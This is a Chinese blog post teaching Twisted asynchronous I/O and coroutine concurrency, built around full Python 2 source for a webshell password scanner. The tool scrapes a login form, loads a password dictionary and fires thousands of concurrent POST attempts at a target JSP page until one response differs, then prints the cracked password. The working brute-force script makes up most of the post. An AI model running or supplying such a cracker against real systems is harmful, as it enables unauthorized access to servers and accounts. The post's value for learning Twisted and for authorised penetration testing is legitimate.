`

python中利用twisted的异步通信和微线程 实现webshell密码扫描器

 
阅读更多

  好久没写blog了,到了暑假时间充裕了,打算好好写几篇,

    ps:最近blog访问量大了不少,一看全是去看struts2漏洞的...

 

 

好久以来都一直想学习windows中得iocp技术,即异步通信,但是经过长时间研究别人的c++版本,发现过于深奥了,有点吃力,不过幸好python中的twisted技术的存在方便了我。

 

 

     iocp即异步通信技术,是windows系统中现在效率最高的一种选择,异步通信顾名思义即与同步通信相对,我们平时写的类似socket.connect  accept等都属于此范畴,同样python中得urlopen也是同步的(为什么提这个,是因为和后面的具体实现有关),总而言之,我们平时写的绝大多数socket,http通信都是同步的。

 

    同步的程序优点是好想,好写。缺点大家都应该感受到过,比如在connect的时候,recive的时候,程序都会阻塞在那里,等上片刻才能继续前进。

     异步则是另一种处理思路,类似于xml解析的sax方法,换句话说,就是当面临conncet,recive等任务的时候,程序先去执行别的代码,等到网络通信有了结果,系统会通知你,然后再去回调刚才中断的地方。

 

 

      具体的代码下面有,我就细说了,大概总结下下面代码涉及到的技术

1.页面解析,webshell密码自动post,必然涉及到页面解析问题,即如何去找到页面中form表单中合适的input元素并提交,其中包括了hidden的有value,password的需要配合字典。具体实现靠的是SGMLParser

 

2.正常的页面请求,我利用了urlopen(为了使用cookie,实际使用的是opener),片段如下

            cj = cookielib.CookieJar()
            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
            req = urllib2.Request(url, urllib.urlencode(bodyfieleds))   
            resp = opener.open(req, timeout=60)  
          
            strlist = resp.read()

 代码简单,这就是python的魅力,bodyfieleds即为post的参数部分,是一个字典

 

3.异步的页面请求,这里用了twisted的getpage片段如下:

        self.PostDATA[self.passw] = passl
            #print temp
        zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)
        zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl) 
 
 可以看到如何利用getPage去传递Post参数,以及header(cookie也是防盗header里面的)

以及自定义的Callback函数,可以添加写你需要的参数也传过去,我这里使用了url和pass

 

4.协程并发,代码如下:

    def InitTask(self):
        for passl in self.passlist[:]:
            d = self.addURL(passl)
            yield d

def DoTask(self):
        deferreds = []
        coop = task.Cooperator()
        work = self.InitTask()
        for i in xrange(self.ThreadNum):
            d = coop.coiterate(work)
            deferreds.append(d)
        dl = defer.DeferredList(deferreds)
 

就是这些了。效率上,我在网络通信较好的情况下,40s可以发包收包大致16000个

 

# -*- coding: utf-8 -*-
#coding=utf-8


#
#
# code by icefish
# http://insight-labs.org/
# http://wcf1987.iteye.com/
#
from twisted.internet import iocpreactor
iocpreactor.install()
from twisted.web.client import getPage
from twisted.internet import defer, task
from twisted.internet import reactor
import os
from httplib import HTTPConnection
import urllib   
import urllib2   
import sys
import cookielib
import time   
import threading
from Queue import LifoQueue
#import httplib2
from sgmllib import SGMLParser 
import os
from httplib import HTTPConnection
import urllib   
import urllib2   
import sys
import cookielib
import time   
import threading
from Queue import LifoQueue
from sgmllib import SGMLParser 

class URLLister(SGMLParser): 
    def __init__(self):
        SGMLParser.__init__(self)
        self.input = {}
    def start_input(self, attrs): 
        #print attrs
        
        for k, v in attrs:
            if k == 'type':
                type = v
            if k == 'name':
                name = v
            if k == 'value':
                value = v
        if type == 'hidden' and value != None:
            self.input[name] = value
        if type == 'password' :
            self.input['icekey'] = name

class webShellPassScan(object):
    def __init__(self, url, dict):
        self.url = url
        self.ThreadNum = 10
        self.dict = dict
    def getInput(self, url):
        html, c = self.PostUrl(url, '')
        parse = URLLister()
        parse.feed(html)
        return parse.input
        
    def PostUrl(self, url, bodyfieleds):
        try:    
    
            cj = cookielib.CookieJar()
            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
            req = urllib2.Request(url, urllib.urlencode(bodyfieleds))   
            resp = opener.open(req, timeout=60)  
          
            strlist = resp.read()
            cookies = []
            for c in cj:
                cookies.append(c.name + '=' + c.value)
            
            return strlist, cookies
        except :
    
            return ''
        

    def parse_page(self, data, url, passk):
        #print url
        
        self.TestNum = self.TestNum + 1
        if data != self.sret and len(data) != 0 and data != 'iceerror':
            self.timeEnd = time.time()
            print 'Scan Password End :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeEnd))
            print 'total Scan Time:' + str((self.timeEnd - self.timeStart)), 's'
            print 'total Scan Passwords:' + str(self.TestNum)
            print "*************************the key pass***************************\n"
            print passk 
            print "*************************the key pass***************************\n"
            reactor.stop()
                    
                    
            
        if self.TestNum % 1000 == 0:
                    #print TestNum
                    sys.stdout.write('detect Password Num:' + str(self.TestNum) + '\n')
                    sys.stdout.flush()


    def fetch_error(self, error, url, passl):
        self.addURL(passl)
    def run(self):

            self.timeStart = 0
            self.timeEnd = 0
            self.TestNum = 0
            self.sret = ''
            print '\n\ndetect the WebShell URL:' + self.url
            self.PassNum = 0
    
            self.timeStart = time.time()
            print 'Scan Password Start :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeStart))
            filepath = os.path.abspath(os.curdir)
            file = open(filepath + "\\" + self.dict)
            self.passlist = []
            
            for lines in file:           
                self.passlist.append(lines.strip())
                #print lines.strip() 
            file.close()
            PassNum = len(self.passlist)
            print 'get passwords num:' + str(PassNum)
            
            inputdic = self.getInput(self.url)
            self.passw = inputdic['icekey']
            del inputdic['icekey']
            self.PostDATA = dict({self.passw:'icekey'}, **inputdic)
            self.sret, cookies = self.PostUrl(self.url, self.PostDATA) 
            self.headers = {'Content-Type':'application/x-www-form-urlencoded'}
            self.headers['cookies'] = cookies
            print 'cookies:' + str(cookies)
            
            self.DoTask()
            #self.DoTask2()
            #self.DoTask3()
            print 'start run'
            self.key = 'start'
            reactor.run()
            
    def InitTask(self):
        for passl in self.passlist[:]:
            d = self.addURL(passl)
            yield d
        

    def InitTask2(self):
        for passl in self.passlist[:]:
            d = self.sem.run(self.addURL, passl)
            self.deferreds.append(d)
            
    def InitTask3(self):
        for passl in self.passlist[:]:
            d = self.addURL(passl)            
            self.deferreds.append(d)

    def DoTask(self):
        deferreds = []
        coop = task.Cooperator()
        work = self.InitTask()
        for i in xrange(self.ThreadNum):
            d = coop.coiterate(work)
            deferreds.append(d)
        dl = defer.DeferredList(deferreds)
        #dl.addErrback(self.errorCall)
        #dl.addCallback(self.finish)
        
    def DoTask2(self):
        
        self.deferreds = []
        self.sem = defer.DeferredSemaphore(self.ThreadNum)
        self.InitTask2()
        dl = defer.DeferredList(self.deferreds)

        
    def DoTask3(self):
        
        
        self.deferreds = []

        self.InitTask3()
        dl = defer.DeferredList(self.deferreds)
       
    def addURL(self, passl):
        
        self.PostDATA[self.passw] = passl
            #print temp
        zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)
        zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl) 
    
        return zs


a = webShellPassScan('http://192.168.0.2:8080/f15.jsp', 'source_new.txt')
a.run()
 
 
分享到:
评论

相关推荐

    利用Python的Twisted框架实现webshell密码扫描器的教程

    标题中提及的“利用Python的Twisted框架实现webshell密码扫描器的教程”,表明本文是一篇面向有一定编程基础的读者,特别是熟悉Python语言的开发者。Twisted是一个事件驱动的网络编程框架,专门用于Python语言,用来...

    Twisted与异步编程入门

    【Twisted与异步编程入门】是一篇关于Python中Twisted框架和异步编程的教程。Twisted是一个强大的网络应用框架,特别适用于处理复杂的异步编程需求。文章首先强调了理解异步编程模型的重要性,指出只有深入理解模型...

    python3-Twisted

    Twisted的核心是一个反应器(Reactor)系统,该系统能够处理来自不同网络连接的事件,实现非阻塞I/O,从而在单个线程中处理大量并发连接。 在Windows上安装Twisted可能会遇到一些问题,因为其通常不包含在Python的...

    twisted适合python3.8版本

    Twisted是Python编程语言中的一个开源网络框架,专注于异步编程和事件驱动的网络应用开发。这个框架在Python社区中广泛使用,特别是对于构建高性能、高并发的服务器端应用程序。标题提到"twisted适合python3.8版本...

    python包twisted

    Python的Twisted是一个开源的网络编程库,专为异步编程设计,广泛应用于网络协议实现、服务器端和客户端开发。它提供了丰富的网络协议支持,包括TCP、UDP、HTTP、SMTP、FTP等多种网络协议,以及SSL加密通信的支持。...

    Twisted(适用python3.7)

    标签中的“twisted”是本话题的核心,Twisted库提供了许多关键组件,如反应器(Reactor)用于事件驱动的I/O处理,协议(Protocol)和工厂(Factory)用于定义网络通信的逻辑,以及许多现成的网络协议实现,如HTTP、...

    python多线程库Twisted

    python多线程库Twisted,许多python库都以来twisted,但是用pip很难安装成功,可以下载后直接用pip install twisted来安装。

    Twisted适配python3.5

    Twisted是一个用Python编写的事件驱动网络编程库,广泛用于异步网络服务,如网络客户端、服务器、协议实现以及并发处理等。然而,描述中提到,Scrapy——一个基于Twisted的Python爬虫框架,在某个时间点仅支持Python...

    适合python3.8的Twisted

    `Twisted` 是一个功能强大的开源网络编程框架,专为Python设计,尤其在处理异步I/O和网络协议方面表现出色。它提供了多种网络服务,包括TCP、UDP、HTTP、SMTP、FTP等,并且支持SSL加密通信。在Python 3.8环境下,`...

    Python Twisted网络编程框架(中文)

    Twisted 是一个非常强大的异步编程框架,主要用于Python中的网络编程。该框架能够帮助开发者轻松地构建高性能的网络应用,包括但不限于客户端和服务端应用。Twisted的核心设计原则之一是采用事件驱动的方式,这使得...

    twisted 异步教程 中文版

    Twisted 是一个开源的事件驱动编程框架,它主要用Python语言编写,并被广泛用于网络协议的实现和异步编程。在Twisted框架中,Reactor模式是实现异步编程的核心组件,它是对观察者模式的实现,能够响应并处理不同类型...

    Python Twisted模块 10.2.0

    Python Twisted模块 10.2.0Python Twisted模块 10.2.0Python Twisted模块 10.2.0Python Twisted模块 10.2.0Python Twisted模块 10.2.0Python Twisted模块 10.2.0

    Python安装scrapy框架的twisted文件(twisted.rar,Twisted-17.9.0.dist-info.rar)

    在这个场景中,`twisted.rar` 和 `Twisted-17.9.0.dist-info.rar` 是针对Python的Twisted库的压缩包文件,它是Scrapy框架的重要组成部分。 Twisted是一个异步网络编程库,它为Python提供了一个事件驱动的网络编程...

    python3.4 3.5 3.6 twisted适配windows

    Python的Twisted库是一款强大的网络应用框架,特别适合用于异步编程和网络协议开发。标题提到的"python3.4 3.5 3.6 twisted适配windows"表明这是专门为Windows操作系统编译的Twisted版本,适用于Python 3.4、3.5和...

    Python工具资源:Twisted-19.2.1-cp37-cp37m-win_amd64;Twisted-19.2.0-cp37-cp37m-win_amd

    标题中的“Twisted-19.2.1-cp37-cp37m-win_amd64”和“Twisted-19.2.0-cp27-cp27m-win_amd64”指的是Python的一个著名开源库——Twisted的两个不同版本。Twisted是一个用于网络编程的事件驱动的网络引擎,它为Python...

    python如何通过twisted实现数据库异步插入

    在Python编程中,Twisted是一个事件驱动的网络编程框架,常用于编写异步代码。使用Twisted可以处理网络通信、数据库交互等耗时任务,而不会阻塞主线程。在涉及数据库操作时,异步插入是一种避免长时间等待数据库响应...

    Twisted系列教程 的中文翻译

    Twisted是Python语言中一个非常重要的网络编程框架,其核心理念在于提供一个事件驱动模型以实现异步编程。本系列教程是对Twisted框架的详细介绍,从基础理论到实际应用,逐步引导读者入门并深入理解Twisted的各种...

Global site tag (gtag.js) - Google Analytics